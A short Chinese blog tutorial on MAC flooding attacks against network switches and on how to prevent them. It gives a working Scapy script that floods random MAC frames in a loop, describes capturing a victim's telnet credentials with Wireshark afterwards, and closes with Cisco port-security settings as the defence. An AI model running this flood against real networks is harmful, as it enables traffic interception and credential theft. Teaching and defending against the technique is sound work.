python mac flood攻击&防范
MAC Flood攻击原理
产生大量的不明的MAC地址,交换机就会不断地学习,而交换机的MAC表是有限的,当超过一个阀值后就不能再学习MAC。这时候的交换机就相当于一台集线器,当再有新的数据交换时交换机就会广播到所有接口,这时可以开启抓包就能抓取到流量。
小试牛刀
使用RandMAC()产生随机函数
使用Ether() 制造二层数据包
使用sendp函数发送二层数据包
MAC Flood脚本
# -*- coding: gbk -*- # 制作人:Tim from scapy.all import * packet = Ether(src=RandMAC(),dst=RandMAC()) sendp(packet,iface="以太网",loop=1) # loop循环发包
运行脚本前:
运行脚本后:
攻击后效果:
这时就可以开启wireshark抓包,比如:这时用户telnet到一台设备上输入账号密码,就可以把对方的帐号密码捕获下来。
kali
当然了,如果使用kali的工具会更快,这里只是想理解其中的原理
Macof 一款交换机压力测试工具
在网上随便找的图片:
防御措施
交换机在接口下开启port-security
interface GigabitEthernet0/13
switchport mode access
switchport port-security
switchport port-security violation shutdown # 惩罚措施默认为shutdown
switchport port-security maximum 1 # 如果接口学习到的MAC大于1则触发violation
作者:tim54252
如果您看了本篇博客,觉得对您有所收获,请点击右下角的 [推荐]
如果您想转载本博客,请注明出处
如果您对本文有意见或者建议,欢迎留言
感谢您的阅读,请关注我的后续博客